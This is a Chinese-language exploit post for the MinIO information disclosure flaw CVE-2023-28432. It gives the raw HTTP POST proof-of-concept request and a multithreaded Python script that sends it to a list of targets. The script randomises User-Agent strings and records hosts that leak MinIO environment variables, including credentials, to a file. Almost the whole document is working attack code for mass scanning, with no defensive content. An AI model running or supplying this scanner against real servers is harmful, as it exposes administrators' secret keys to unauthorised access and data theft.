Minio信息泄露漏洞（CVE-2023-28432）

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POST /minio/bootstrap/v1/verify HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20230327113729711

image-20230327113852896

批量检测脚本

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import requests
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random
#app="minio"

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]

def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua

proxies={'http': 'http://127.0.0.1:8080',
        'https': 'https://127.0.0.1:8080'}

def wirte_targets(vurl, filename):
    with open(filename, "a+") as f:
        f.write(vurl + "\n")

#poc
def check_url(url):
    url=parse.urlparse(url)
    hostname  = url.hostname
    url=url.scheme + '://' + url.netloc
    vulnurl=url + "/minio/bootstrap/v1/verify"
    headers = {
        'User-Agent': get_ua(),
        "host":hostname,
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data=""
    try:
        res = requests.post(vulnurl, verify=False, allow_redirects=False, headers=headers,data=data ,timeout=5)
        if res.status_code == 200 and "MinioEn" in res.text:
            # print(res.text)
            print("\033[32m[+]{} is vulnerable\033[0m".format(url))
            wirte_targets(vulnurl,"vuln.txt")
        else:
            print("\033[34m[-]{} not vulnerable.\033[0m".format(url))
    except Exception as e:
        print("\033[34m[!]{} request false.\033[0m".format(url))
        pass

#多线程
def multithreading(url_list, pools=5):
    works = []
    for i in url_list:
        # works.append((func_params, None))
        works.append(i)
    # print(works)
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(check_url, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()


if __name__ == '__main__':
    arg=ArgumentParser(description='check_url By m2')
    arg.add_argument("-u",
                        "--url",
                        help="Target URL; Example:http://ip:port")
    arg.add_argument("-f",
                        "--file",
                        help="Target URL; Example:url.txt")
    args=arg.parse_args()
    url=args.url
    filename=args.file
    print("[+]任务开始.....")
    start=time()
    if url != None and filename == None:
        check_url(url)
    elif url == None and filename != None:
        for i in open(filename):
            i=i.replace('\n','')
            url_list.append(i)
        multithreading(url_list,10)
    end=time()
    print('任务完成,用时%ds.' %(end-start))